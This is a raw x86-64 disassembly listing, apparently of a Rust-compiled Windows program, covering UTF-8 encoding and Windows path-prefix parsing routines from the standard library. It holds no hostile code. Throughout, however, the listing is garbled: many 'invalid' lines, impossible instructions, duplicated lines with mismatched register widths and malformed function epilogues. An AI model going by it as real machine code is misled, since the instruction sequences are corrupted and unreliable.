add byte [0x1400d7fae], ah
inc dword [rbx]
add byte [rax], al
shl r13, 0x1a
shl eax, 0x10
or rax, r13
movabs rcx, 0x100000000
add byte [rax], al
add rax, rcx
mov r13, rax
mov ebp, eax
mov rax, r13
shr rax, 0x10
shr eax, 0x10
mov dword [rbp - 0x40], 0
add byte [rax], al
add byte [0x1400d7c5c], bh
add byte [rax], al
add byte [rbx + 0x22], dh
mov byte [rbp - 0x40], al
mov r13d, 1
mov rax, qword [rbp - 0x20]
sub rax, r15
cmp rax, r13
jae 0x1400d7a80
jmp case.0x1400d0801.509
cmp eax, 0x800
jae 0x1400d7c40
shr r13d, 0x16
or r13b, 0xc0
mov byte [rbp - 0x40], r13b
and al, 0x3f
or al, 0x80
or byte [rax - 0x42be3ebb], 2
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rbp - 0x20]
or byte [rax - 0x42be3ebb], 2
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rbp - 0x20]
invalid
mov eax, dword [rbp - 0x20]
sub rax, r15
sub eax, edi
cmp rax, r13
jae 0x1400d7a80
invalid
invalid
invalid
invalid
jmp case.0x1400d0801.509
mov rcx, r13
mov ecx, ebp
cmp eax, 0xffff
ja 0x1400d7c83
shr rcx, 0x1c
or cl, 0xe0
mov byte [rbp - 0x40], cl
rol byte [r9 - 0x3f], 0xed
invalid
and r13b, 0x3f
or r13b, 0x80
rol byte [r9 - 0x3f], 0xed
invalid
mov byte [rbp - 0x3f], r13b
and al, 0x3f
or al, 0x80
mov byte [rbp - 0x3e], al
ret 0xbd41
add eax, dword [rax]
add byte [rax], al
mov rax, qword [rbp - 0x20]
sub rax, r15
cmp rax, r13
jae 0x1400d7a80
invalid
invalid
invalid
jmp case.0x1400d0801.509
shr rcx, 0x22
or cl, 0xf0
mov byte [rbp - 0x40], cl
mov rcx, r13
shr rcx, 0x1c
shr ecx, 0x1c
shr ecx, 0x1c
and cl, 0x3f
or cl, 0x80
mov byte [rbp - 0x3f], cl
shr r13d, 0x16
shr ebp, 0x16
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp - 0x3e], r13b
and al, 0x3f
or al, 0x80
mov byte [rbp - 0x3d], al
mov r13d, 4
mov rax, qword [rbp - 0x20]
sub rax, r15
cmp rax, r13
jae 0x1400d7a80
mov dh, 0xfd
invalid
invalid
ret
mov dh, 0xfd
invalid
nop word [rax + rax]
lea rcx, [rbp - 0x20]
mov rdx, r15
mov r8, r13
call fcn.1401103f0
mov r12, qword [rbp - 0x18]
mov r15, qword [rbp - 0x10]
jmp 0x1400d7a80
movups xmm0, xmmword [rbp - 0x20]
movups xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp - 0x30], xmm1
movaps xmmword [rbp - 0x40], xmm0
mov rax, qword [rbp - 0x48]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
adc dword [rax], eax
adc dword [rax], eax
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.140010970
mov ecx, 1
mov rdx, rbx
call fcn.1401082a0
int3
or al, byte [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov edi, ecx
lea rcx, [rbp - 0x28]
mov rdx, rdi
mov r8, rsi
call fcn.1400d7ec0
movzx eax, byte [rbp - 0x28]
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 8]
mov edx, dword [rbp - 8]
mov edx, dword [rbp - 8]
clc
movzx r8d, al
lea r9, [0x140179544]
lea ecx, [0x140179544]
movsxd r10, dword [r9 + r8*4]
add r10, r9
add edx, ecx
mov r8, rsi
or dword [rbp + 1], 0xf08949ca
mov r9, rdi
jmp r10
jmp rdx
loop case.0x1400d7391.22
add rcx, 4
add ecx, 4
jmp 0x1400d7e02
xor al, 0x4c
lea eax, [rdx + 1]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
ret 0x14c
invalid
ret 0x14c
add rcx, 8
jmp 0x1400d7e02
invalid
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
jmp 0x1400d7e02
sbb dword [rbp + rcx*4 + 0x42], ecx
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
invalid
lea r8, [rdx + 1]
lea eax, [rdx + 1]
test rdx, rdx
cmove r8, rdx
ret 0x14c
ror dword [rax - 0x7d], 0xc1
add ecx, 2
ret 0x14c
ret 0x14c
add ecx, 2
jmp 0x1400d7e02
mov ecx, 2
mov r8, rsi
sub r8, rcx
enter 0xffffffffffff820f, 0xffffffffffffff9d
add byte [rax], al
invalid
enter 0xffffffffffff820f, 0xffffffffffffff9d
popfq
add byte [rax], al
add byte [rax + 1], cl
stc
mov r9, rcx
test r8, r8
je 0x1400d7e27
movzx ecx, byte [r9]
cmp ecx, 0x2f
je 0x1400d7e2b
cmp ecx, 0x5c
stc
pop rsp
je 0x1400d7e2b
cmp al, 4
ja 0x1400d7e61
lea rcx, [rbp - 0x28]
lea ecx, [rbp - 0x28]
fmul dword [r8 - 0x77]
cli
mov rdx, rdi
mov r8, rsi
call fcn.1400d7ec0
movzx eax, byte [rbp - 0x28]
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
call 0x13863098e
call 0x13863098e
mov rdx, qword [rbp - 8]
movzx r8d, al
mov dh, 0xc0
ror byte [rbp + rcx*4 + 0xd], 0xf
invalid
lea r9, [0x140179560]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
jmp rax
add rcx, 4
add ecx, 4
rol dword [rbx + rbp*8], 0x38
jmp case.0x140096fc6.864
xor eax, eax
jmp 0x1400d7ea3
lea r8, ds:[rdx + 1]
lea r8, [rdx + 1]
lea eax, [rdx + 1]
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
cmove r8, rdx
invalid
invalid
test rdx, rdx
cmove r8, rdx
add rcx, r8
add ecx, eax
add ecx, eax
add rcx, 8
jmp case.0x140096fc6.864
invalid
ror dword [rax], 0xeb
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
jmp case.0x140096fc6.864
lea r8, [rdx + 1]
test rdx, rdx
add dword [rax - 0x7b], ecx
ror byte [rdi + rcx + 0x44], cl
cmove r8, rdx
invalid
invalid
cmove r8, rdx
add rcx, r8
add ecx, eax
add ecx, eax
add rcx, 2
jmp case.0x140096fc6.864
rol dword [rdx], 0xeb
add eax, 0x2b9
mov ecx, 2
cmp rcx, rsi
mov ecx, 2
cmp rcx, rsi
ja case.0x1400a4d30.823
cmp al, 6
setne al
ror byte [rax - 0x7d], 0xc4
push rax
ror byte [rax - 0x7d], 0xc4
push rax
pop rdi
pop rsi
pop rbp
ret
lea r8, str.library_std_srcpath.rs
lea eax, [0x14014a330]
mov rdx, rsi
call fcn.1401085a0
add eax, dword [rax]
int3
int3
movzx edx, byte [rdx]
cmp r10b, 0x2f
mov esi, 0x5c
pop rsp
add byte [rax], al
add byte [rdi + rcx + 0x44], al
invalid
cmp r8, 1
jne 0x1400d7f1c
cli
invalid
pop rsp
add byte [rax], al
add byte [rdi + rcx + 0x44], al
invalid
invalid
xor r9d, r9d
xor ebx, ebx
xor r11d, r11d
xor eax, eax
xor r14d, r14d
xor edi, edi
xor esi, esi
jmp 0x1400d7fec
xor ebx, ebx
xor r11d, r11d
xor eax, eax
xor r14d, r14d
xor edi, edi
xor esi, esi
xor r10d, r10d
jmp 0x1400d7fec
add byte [rax], al
movzx eax, byte [rdx + 1]
cmp al, 0x2f
cmovne esi, eax
invalid
cmp r8, 2
jne case.0x1400a4d30.814
invalid
xor r9d, r9d
xor ebx, ebx
xor r11d, r11d
xor eax, eax
rol byte [rbp + 0x31], 0xf6
rol byte [rbp + 0x31], 0xf6
xor edi, edi
jmp 0x1400d7fec
movzx edi, byte [rdx + 2]
cmp dil, 0x2f
cmp bh, 0x2f
cmp bh, 0x2f
mov r14d, 0x5c
cmove edi, r14d
add byte [rcx + 0xf], al
dec byte [rcx - 0x7d]
invalid
invalid
cmp r8, 3
jne 0x1400d7f69
clc
add esi, dword [rbp + 0x12]
xor r9d, r9d
xor ebx, ebx
xor r11d, r11d
xor eax, eax
xor r14d, r14d
jmp 0x1400d7fec
movzx eax, byte [rdx + 3]
cmp al, 0x2f
cmovne r14d, eax
cmovne esi, eax
cmovne esi, eax
cmp r8, 4
jne 0x1400d7f85
xor r9d, r9d
xor ebx, ebx
xor r11d, r11d
invalid
xor eax, eax
jmp 0x1400d7fec
movzx eax, byte [rdx + 4]
cmp al, 0x2f
mov r11d, 0x5c
add byte [rax], al
add byte [rax], al
cmove eax, r11d
cmp r8, 5
clc
invalid
jne case.0x1400b36b6.766
invalid
or al, byte [rbp + 0x31]
leave
xor r9d, r9d
xor ebx, ebx
xor r11d, r11d
jmp 0x1400d7fec
movzx r9d, byte [rdx + 5]
cmp r9b, 0x2f
add rax, 0x2ff98041
cmovne r11d, r9d
cmp r8, 6
jne 0x1400d7fbf
invalid
xor r9d, r9d
leave
xor ebx, ebx
jmp 0x1400d7fec
movzx ebx, byte [rdx + 6]
cmp bl, 0x2f
mov r9d, 0x5c
add byte [rax], al
add byte [rcx + 0xf], al
cmove ebx, ecx
add byte [rax], al
add byte [rcx + 0xf], al
invalid
cmove ebx, ecx
invalid
cmp r8, 7
jne 0x1400d7fdb
xor r9d, r9d
jmp 0x1400d7fec
movzx r15d, byte [rdx + 7]
cmp r15b, 0x2f
cmovne r9d, r15d
shl r9, 0x38
cmp r8, 8
mov r15d, 8
add byte [rax], al
add byte [rax], al
cmovb r15, r8
cmp r8, 2
jb 0x1400d807c
movzx esi, sil
shl esi, 8
movzx r10d, r10b
mov dh, 0xd2
mov dh, 0xd2
or r10, rsi
cmp r10d, 0x5c5c
cmp edx, 0x5c5c
cmp edx, 0x5c5c
jne 0x1400d807c
mov r10d, r15d
and r10d, 0xe
loop 0x1400d802c
loop 0x1400d802c
invalid
cmp r10d, 2
je 0x1400d80b9
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + 0xf], al
mov dh, 0xd6
invalid
movzx r10d, r14b
invalid
shl r10d, 8
loop case.0x1400d5dee.410
movzx esi, dil
movzx esi, bh
or esi, r10d
movzx r10d, si
movzx edx, si
cmp r10d, 0x5c2e
cli
pop rsp
add byte [rax], al
invalid
add byte [rdi], cl
test byte [rcx + rax], ah
add byte [rax], al
je 0x1400d816c
cmp r10d, 0x5c3f
jne 0x1400d80b9
cmp r8, 3
jbe 0x1400d8316
mov ebx, 0x80000002
cmp ch, byte [rdi]
cmp byte [rdx], 0x2f
je 0x1400d8076
cmp byte [rdx + 1], 0x2f
je 0x1400d8076
cmp byte [rdx + 2], 0x2f
je 0x1400d8076
invalid
cmp byte [rdx + 3], 0x2f
jne 0x1400d81b9
lea r10, [r8 - 2]
jmp 0x1400d80c6
invalid
cmp r8, 2
jb case.0x14001a3ad.3393
add byte [rax], al
add byte [rax], al
cmp byte [rdx + 1], 0x3a
add dword [rdx], edi
jne case.0x14001a3ad.3393
test esp, ecx
add byte [rax], al
add byte [rdi], cl
mov dh, 2
movzx eax, byte [rdx]
mov edx, eax
and dl, 0xdf
add dl, 0xbf
cmp dl, 0x1a
jae case.0x14001a3ad.3393
invalid
invalid
add byte [rax], al
invalid
cmp dword [rax + 0x3c000000], 0x61
cmp al, 0x61
setae dl
shl dl, 5
xor dl, al
mov byte [rcx], 5
mov byte [rcx + 1], dl
push rcx
add ecx, ebp
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
invalid
xchg ebx, eax
ret 0xe2c0
push rcx
add ecx, ebp
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add byte [rbp - 0x77], cl
ret 0x8349
mov r10, r8
add r10, 0xfffffffffffffffe
ret 0xffe
invalid
xchg esi, eax
add byte [rax], al
invalid
ret 0xffe
dec byte [rdi]
test byte [rsi + 0x48000000], dl
lea eax, [rdx + 2]
lea rax, [rdx + 2]
add rdx, 3
add edx, 3
add ecx, dword [rcx - 0x7d]
sar ah, 0x45
xor ecx, ecx
add r8, 0xfffffffffffffffc
xor r9d, r9d
nop word cs:[rax + rax]
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
pop rdx
inc dword [rcx - 0x7d]
sti
invalid
movzx r11d, byte [rdx - 1]
cmp r11d, 0x2f
je 0x1400d8102
cmp r11d, 0x5c
je 0x1400d8102
inc r9
inc rdx
dec r8
cmp r8, 0xfffffffffffffffe
clc
invalid
jne 0x1400d80e0
clc
invalid
jmp case.0x14001a3ad.3393
lea r11, [r9 + 1]
lea ebx, [rcx + 1]
sub r10, r11
je case.0x14001a3ad.3393
lea r11, [rax + r9]
inc r11
neg r8
fdiv dword [rcx]
invalid
or byte [rcx - 1], cl
ret
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
movzx edi, byte [rdx + rsi]
cmp edi, 0x2f
invalid
je 0x1400d813d
movzx edi, byte [rdx + rsi]
cmp edi, 0x2f
invalid
invalid
je 0x1400d813d
cmp edi, 0x5c
je 0x1400d813d
lea rdi, [rsi + 1]
add rsi, r8
mov rsi, rdi
jne 0x1400d8120
invalid
mov rsi, r10
test r9, r9
je case.0x14001a3ad.3393
test rsi, rsi
je case.0x14001a3ad.3393
mov byte [rcx], 4
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
mov dword [rcx + 0x10], ecx
mov qword [rcx + 0x18], r11
mov qword [rcx + 0x20], rsi
mov dword [rcx + 0x20], esi
pop rcx
sbb byte [rax - 0x77], cl
mov dword [rcx + 0x20], esi
mov dword [rcx + 0x20], esi
jmp case.0x1400c3e59.700
mov byte [rcx], 6
invalid
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
cmp r8, 3
jbe 0x1400d832d
clc
add ecx, dword [rdi]
xchg byte [rdi + 0x48000001], dh
add rdx, 4
add edx, 4
xor eax, eax
add r8, 0xfffffffffffffffc
je 0x1400d81ac
nop word cs:[rax + rax]
nop word cs:[rax + rax]
movzx r9d, byte [rdx + rax]
movzx ecx, byte [rdx + rax]
cmp r9d, 0x2f
je 0x1400d81ac
cmp r9d, 0x5c
je 0x1400d81ac
inc rax
cmp r8, rax
ror byte [rcx + 0x39], 0xc0
jne 0x1400d8190
mov rax, r8
mov byte [rcx], 3
add dword [rbx], eax
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rax
jmp case.0x1400c3e59.700
and r15d, 0xc
cmp r15d, 4
cmp edi, 4
cmp edi, 4
je 0x1400d8242
movzx r10d, bl
shl r10, 0x30
or r10, r9
movzx r9d, r11b
movzx ecx, bl
movzx ecx, bl
shl r9, 0x28
movzx eax, al
shl rax, 0x20
and byte [rcx + rcx - 0x38], cl
and byte [rcx + rcx - 0x38], cl
or rax, r10
movabs r9, 0x5c434e5500000000
pop rsp
pop rsp
cmp rax, r9
jne 0x1400d8242
cmp r8, 7
jbe 0x1400d8344
xchg byte [rax + 1], cl
add byte [rax], al
xchg byte [rax + 1], cl
add byte [rax], al
lea rax, [rdx + 8]
mov rsi, r8
mov r9d, 1
add rsi, 0xfffffffffffffff8
invalid
clc
xabort 0xf
test byte [rdx + 0x48000000], ah
add edx, 9
invalid
clc
je 0x1400d82b5
add byte [rax], al
add byte [rax - 0x7d], cl
ret 0x4909
invalid
invalid
add rdx, 9
or dword [rcx - 0x7d], ecx
sal dh, 0x45
xor ebx, ebx
add r8, 0xfffffffffffffff6
xor r11d, r11d
xor r10d, r10d
rol byte [rax + 0xf5cff7a], cl
test byte [rdx + 0x49000000], ah
add byte [rcx - 1], cl
invalid
cmp byte [rdx - 1], 0x5c
je 0x1400d82cd
invalid
add byte [rcx - 1], cl
ret 0xff48
inc r10
inc rdx
dec r8
cmp r8, 0xfffffffffffffffe
jne 0x1400d8221
ret 0xff49
mov r10, rsi
jmp 0x1400d82fe
add byte [rax], al
lea rax, [rdx + 4]
lea r9, [r8 - 4]
cmp r9, 3
jae 0x1400d825e
cmp r8, 4
je 0x1400d82bd
cmp r8, 6
je case.0x140018f24.3300
jmp 0x1400d829f
movzx r10d, byte [rdx + 6]
cmp r10d, 0x2f
je case.0x140018f24.3300
cmp r10d, 0x5c
jne 0x1400d829f
cmp byte [rdx + 5], 0x3a
jne 0x1400d829f
movzx edx, byte [rax]
mov r10d, edx
rol byte [rcx - 0x80], cl
loop 0x1400d825e
rol byte [rcx - 0x80], cl
loop 0x1400d825e
add r10b, 0xbf
cmp r10b, 0x19
ja 0x1400d829f
shl al, 5
xor al, dl
rol dh, 1
add dword [rdx], eax
rol dh, 1
add dword [rdx], eax
mov byte [rcx + 1], al
jmp case.0x1400c3e59.700
invalid
invalid
invalid
dec dword [rcx - 0x7d]
sar ah, 0x31
rol byte [rax + 0x745c103c], cl
cmovs edi, edi
inc edx
invalid
invalid
add r8, 0xfffffffffffffffc
xor edx, edx
cmp byte [rax + rdx], 0x5c
je 0x1400d82ba
inc edx
cmp r8, rdx
jne 0x1400d82a5
jmp 0x1400d82bd
xor r10d, r10d
jmp 0x1400d82fb
invalid
mov r9, rdx
mov byte [rcx], 0
mov qword [rcx + 8], rax
or byte [rcx + rcx*4 + 0x49], cl
invalid
or byte [rcx + rcx*4 + 0x49], cl
adc cl, ch
invalid
xchg edx, eax
invalid
jmp case.0x1400c3e59.700
lea r11, [r10 + 1]
lea r9, [rax + r10]
inc r9
sub rsi, r11
sub esi, ebx
sub esi, ebx
je 0x1400d82fb
neg r8
xor r11d, r11d
cmp byte [rdx + r11], 0x5c
pop rsp
je 0x1400d82fe
lea rdi, [r11 + 1]
add r11, r8
mov r11, rdi
jne 0x1400d82e3
mov r11, rsi
jmp 0x1400d82fe
xor r11d, r11d
fcmovnb st(0), st(6)
add dword [rcx], eax
mov byte [rcx], 1
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r10
mov dword [rcx + 0x10], edx
mov qword [rcx + 0x18], r9
sbb byte [r9 + rcx*4 + 0x59], cl
invalid
or byte [r9 + rcx*4 + 0x51], cl
or byte [rcx + rcx*4 + 0x51], cl
adc byte [rcx + rcx*4 + 0x49], cl
sbb byte [rcx + rcx*4 + 0x59], cl
pop rcx
sbb byte [r9 + rcx*4 + 0x59], cl
pop rcx
and cl, ch
invalid
jmp case.0x1400c3e59.700
lea rax, str.library_std_src_syspathwindows.rs
mov ecx, 4
mov rdx, r8
mov edx, eax
mov edx, eax
ret 0x8949
mov r8, rax
call fcn.140108620
add al, byte [rbx]
invalid
add al, byte [rbx]
add byte [rax - 0x73], cl
lea eax, [0x14014b948]
lea rax, str.library_std_src_syspathwindows.rs
lea eax, [0x14014b948]
add byte [rcx + 4], bh
mov ecx, 4
mov rdx, r8
mov r8, rax
shr al, 0x5c
add al, byte [rbx]
invalid
shr al, 0x5c
add al, byte [rbx]
add byte [rax - 0x73], cl
add eax, 0x735fd
std
invalid
invalid
invalid
lea rax, str.library_std_src_syspathwindows.rs
mov ecx, 8
mov rdx, r8
mov r8, rax
shr al, 0x45
add al, byte [rbx]
invalid
int3
pop rdx
cmp byte [rax + 0x147503fb], al
mov byte [rcx], 0xa
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
movzx r15d, byte [rdx + 0x39]
jp 0x1400d83d3
cmp dword [rdi + rcx - 0x4a], eax
adc byte [rbp + 0x31], al
xor r9d, r9d
movzx r8d, byte [rdx + 0x10]
xor r9d, r9d
cmp r8d, 3
setae r10b
mov rax, qword [rdx + 0x30]
lea rdx, [rax + 1]
add dword [rax - 0x7b], ecx
invalid
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
cmove rdx, rax
cmp r15b, 3
invalid
cmove rdx, rax
cmp r15b, 3
invalid
je 0x1400d837e
mov edi, 0x77fb3844
mov edx, 0x245c8b4d
and byte [rcx - 0x73], cl
add al, 0x45
mov r9b, r10b
cmp bl, r15b
ja 0x1400d837e
mov r11, qword [r12 + 0x20]
lea rax, [r11 + 4]
mov r9b, r10b
lea r9d, [r9 + r9*2]
lea ecx, [rcx + rcx*2]
add r9d, 7
add r9d, 7
mov dword [rbp - 0xc], r9d
movzx r13d, byte [r12 + 0x3a]
lea r9, [r11 + rdx + 2]
add cl, byte [rcx + rcx*4 + 0x4d]
clc
hlt
clc
lea rdx, [r11 + rdx + 8]
push rsp
adc ecx, dword [rax]
mov qword [rbp], rdx
mov rsi, qword [r12]
xor al, 0x24
xor al, 0x24
mov rdx, qword [r12 + 8]
and al, 8
mov r14d, r8d
mov r9, rdx
jmp 0x1400d8429
mov r10, rsi
mov rsi, r10
cmp bl, r15b
ja 0x1400d837e
push rbp
invalid
invalid
invalid
push rbp
invalid
test bl, bl
je 0x1400d84a0
jne 0x1400d860a
test eax, eax
add dword [rax], eax
add byte [rbx - 0x77cbefe], dh
cmp eax, 3
jb 0x1400d841a
mov bl, 2
cmp r8d, 3
cmp eax, 3
cmp eax, 3
jb 0x1400d841a
cmp r8d, 5
je 0x1400d841a
cmp r8d, 6
jne 0x1400d86d2
add byte [rax], al
add byte [rax], al
test rdx, rdx
je 0x1400d85b3
movzx r10d, byte [rsi]
cmp rdx, 1
je 0x1400d85ba
add byte [rax], al
add byte [rax], al
cmp r10b, 0x2e
jne 0x1400d85ba
jne 0x1400d85ba
movzx r10d, byte [rsi + 1]
cmp r10d, 0x2f
je case.0x1400d5dee.422
jmp case.0x1400d5dee.422
add byte [rdi + 0x63], cl
sbb al, 0xb2
add r11, r10
mov r10, rax
jmp r11
invalid
test edx, edx
je 0x1400d862a
test byte [rcx + 1], ah
add byte [rax], al
test byte [rcx + 1], ah
add byte [rax], al
xor r11d, r11d
cmp r8b, 3
cmp al, 3
cmp al, 3
jae 0x1400d8500
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rdx - 0x80], al
cmp al, 0x1e
pop rsp
cmp byte [rsi + r11], 0x5c
je 0x1400d8546
inc r11
cmp rdx, r11
fidiv dword [rbp - 0xf]
ret
fidiv dword [rbp - 0xf]
jmp 0x1400d8519
movzx r9d, byte [rsi + r11]
cmp r9d, 0x2f
je 0x1400d8546
cmp r9d, 0x5c
je 0x1400d8546
inc r11
cmp rdx, r11
jne 0x1400d8500
invalid
out 0x45, eax
xor edx, edx
xor r10d, r10d
mov r11, rdx
test r11, r11
test ebx, ebx
test ebx, ebx
jne 0x1400d8551
mov r9, rdx
sub r9, r10
jb 0x1400d86da
stosb byte [rdi], al
add dword [rax], eax
invalid
stosb byte [rdi], al
add dword [rax], eax
add byte [rcx + 1], cl
mov qword [r12], r10
mov qword [r12], r10
mov qword [r12], r10
mov qword [r12 + 8], r9
mov bl, 2
mov rdx, r9
jmp 0x1400d841d
mov r10d, 1
mov edx, 1
test r11, r11
je 0x1400d8524
mov r9, rsi
mov edi, dword [rbp - 0xc]
mov ebx, edi
cmp r11, 1
je case.0x1400d5dee.417
or dword [rcx - 0x7d], ecx
sti
add dh, byte [rbp + 0x1c]
cmp byte [rsi], 0x2e
jne 0x1400d8584
lea r9, [rsi + 1]
mov bl, 8
cmp byte [r9], 0x2e
movzx edi, bl
sti
sti
mov r9d, 9
add byte [rax], al
cmovne edi, r9d
add r10, r11
add edx, ebx
mov r9, rdx
sub r9, r10
jb 0x1400d86da
add r10, rsi
mov qword [r12], r10
mov qword [r12], r10
mov qword [r12 + 8], r9
mov bl, 2
mov rdx, r9
cmp dil, 0xa
je 0x1400d841d
jmp case.0x1400d7e58.22
add byte [rax], al
xor edx, edx
jmp 0x1400d841a
invalid
invalid
invalid
invalid
invalid
dec dword [rax - 0x7d]
cli
add dword [rdi], ecx
cmp rdx, 1
jne 0x1400d841a
test dword [rsi - 2], edx
invalid
invalid
test dword [rsi - 2], edx
invalid
inc dword [rcx - 0x80]
cli
cmp r10b, 0x2e
jne 0x1400d841a
invalid
jne 0x1400d841a
dec dword [rbp - 0x7b]
leave
test r9, r9
je 0x1400d8720
test byte [rcx + 1], cl
add byte [rax], al
dec r9
inc rsi
inc esi
inc esi
mov qword [r12], rsi
mov qword [r12 + 8], r9
and al, 8
mov byte [rcx], 7
invalid
jmp 0x1400d8381
inc dword [rcx - 0x3a]
and al, 0x38
and al, 0x38
and al, 0x38
add dword [rax - 0x73], ecx
adc eax, 0xa0f9d
popfq
invalid
or al, byte [rax]
movsxd r10, dword [rdx + r14*4]
adc al, 0xb2
popfq
invalid
adc al, 0xb2
add r10, rdx
jmp r10
invalid
loop 0x1400d864f
mov r10, rax
mov edx, eax
jmp 0x1400d865f
push rbp
test r9, r9
je 0x1400d870d
add byte [rcx - 1], cl
leave
dec r9
inc rsi
mov qword [r12], rsi
xor al, 0x24
mov qword [r12 + 8], r9
and al, 8
or dh, al
add dword [rsi], eax
mov byte [rcx], 6
jmp 0x1400d8381
push rdi
std
invalid
inc dword [rcx - 0x3a]
and al, 0x38
and al, 0x38
mov byte [r12 + 0x38], 3
jmp 0x1400d837e
and al, 0x38
add ebp, ecx
std
invalid
mov byte [rcx], dil
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], r11
jmp 0x1400d8381
cmp al, 0xfd
invalid
invalid
cmp al, 0xfd
invalid
add byte [rax], al
jmp 0x1400d865f
invalid
cmp r10, r9
ja case.default.0x1400d8676
lea rdx, [0x1401795b0]
movsxd r11, dword [rdx + r14*4]
add r11, rdx
jmp r11
or al, 0xb8
invalid
mov eax, 2
mov rdx, r9
sub rdx, rax
jb 0x1400d86fb
invalid
invalid
add rax, rsi
mov qword [r12], rax
and al, 0x49
mov dword [rsp + 8], edx
and al, 0x49
mov dword [rsp + 8], edx
mov byte [rcx], r8b
movups xmm0, xmmword [r12 + 0x11]
movups xmm1, xmmword [r12 + 0x21]
and dword [rdi], ecx
adc dword [rcx + 1], eax
and dword [rdi], ecx
adc dword [rcx + 1], eax
movups xmmword [rcx + 0x11], xmm1
mov rax, qword [r12 + 0x30]
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], rsi
mov qword [rcx + 0x30], r10
jmp 0x1400d8381
mov byte [rcx], 6
jmp 0x1400d8381
lea r8, str.library_std_srcpath.rs
mov rcx, r10
mov ecx, edx
mov ecx, edx
call fcn.1401085a0
lea r8, str.library_std_srcpath.rs
mov rcx, r10
mov rdx, r9
call fcn.140108620
lea r8, str.library_std_srcpath.rs
mov rcx, rax
mov rdx, r9
call fcn.1401085a0
ficomp word [rdi + rax]
add byte [rax - 0x77], cl
ror dword [rcx + rcx*4 - 0x36], 0xe8
xchg ebx, eax
inc byte [rdx]
add byte [rbp + rcx*4 + 5], cl
cld
sbb al, 7
add byte [rcx + 1], bh
lea r8, str.library_std_srcpath.rs
mov ecx, 1
xor edx, edx
call fcn.1401085a0
add al, byte [rax]
shr al, cl
cmp dh, 2
add al, byte [rax]
lea r8, str.library_std_srcpath.rs
mov ecx, 1
add al, byte [rax]
lea r8, str.library_std_srcpath.rs
mov ecx, 1
xor edx, edx
call fcn.1401085a0
int3
int3
int3
int3
mov dh, 0xd0
lea r9, [r10 + 1]
xor eax, eax
rol byte [rcx - 0x80], 0xfa
add al, 0x4c
cmovae ecx, eax
rol byte [rcx - 0x80], 0xfa
add al, 0x4c
cmovae ecx, eax
movzx r10d, byte [rdx]
lea r11d, [r10 - 6]
movzx esi, r11b
lea rdi, [rsi + 1]
cmp sil, 4
add al, 0x48
cmovae edi, eax
add al, 0x48
cmovae edi, eax
cmp r9, rdi
jne 0x1400d8811
invalid
mov al, 1
test r9b, r9b
je 0x1400d87bc
movzx r8d, r9b
cmp r8d, 4
add al, 0x75
invalid
add al, 0x75
jns 0x1400d87da
cmp r9d, 4
jne 0x1400d8811
or byte [rax - 0x75], cl
or r8b, bpl
call fcn.140106bb0
test eax, eax
sete al
invalid
sti
jrcxz 0x1400d87b6
add byte [rbp - 0x3f6bf040], al
ror byte [rdi], 0x94
shr bl, 0x55
jmp 0x1400d8811
cmp r11b, 3
jbe 0x1400d8811
cmp r8b, r10b
jne 0x1400d880f
mov ecx, dword [rcx + 8]
call fcn.140106bb0
test eax, eax
jne 0x1400d880f
mov r8, qword [rdi + 0x20]
cmp r8, qword [rsi + 0x20]
jne 0x1400d880f
mov rdx, qword [rsi + 0x18]
mov rcx, qword [rdi + 0x18]
sbb r11b, r13b
invalid
sbb r11b, r13b
movabs eax, dword [0x5e5f20c48348c031]
xor eax, eax
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
mov dh, 0x41
add dword [rdx], edi
add dword [rdi], ecx
sete al
jmp 0x1400d8811
int3
sete al
jmp 0x1400d8811
int3
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x75], cl
xor dword [rax - 0x75], ecx
jns 0x1400d885a
movzx eax, byte [rcx + 0x10]
cmp eax, 6
je case.0x14001a3ad.3442
sbb byte [rax - 0x75], cl
push rcx
xor byte [rax - 0x77], cl
push rbp
mov edi, 0x1141100f
mov rdx, qword [rcx + 0x30]
mov qword [rbp - 0x41], rdx
movups xmm0, xmmword [rcx + 0x11]
movups xmm1, xmmword [rcx + 0x21]
movaps xmmword [rbp - 0x50], xmm1
movaps xmmword [rbp - 0x60], xmm0
movzx edx, byte [rcx + 0x3a]
movzx r12d, byte [rcx + 0x38]
mov dh, 0x61
cmp byte [rdi + rcx - 0x4a], al
cmp dword [r8 - 0x77], ecx
jne case.0x14001a3ad.3444
mov dh, 0x61
cmp byte [rdi + rcx - 0x4a], al
cmp dword [r8 - 0x77], ecx
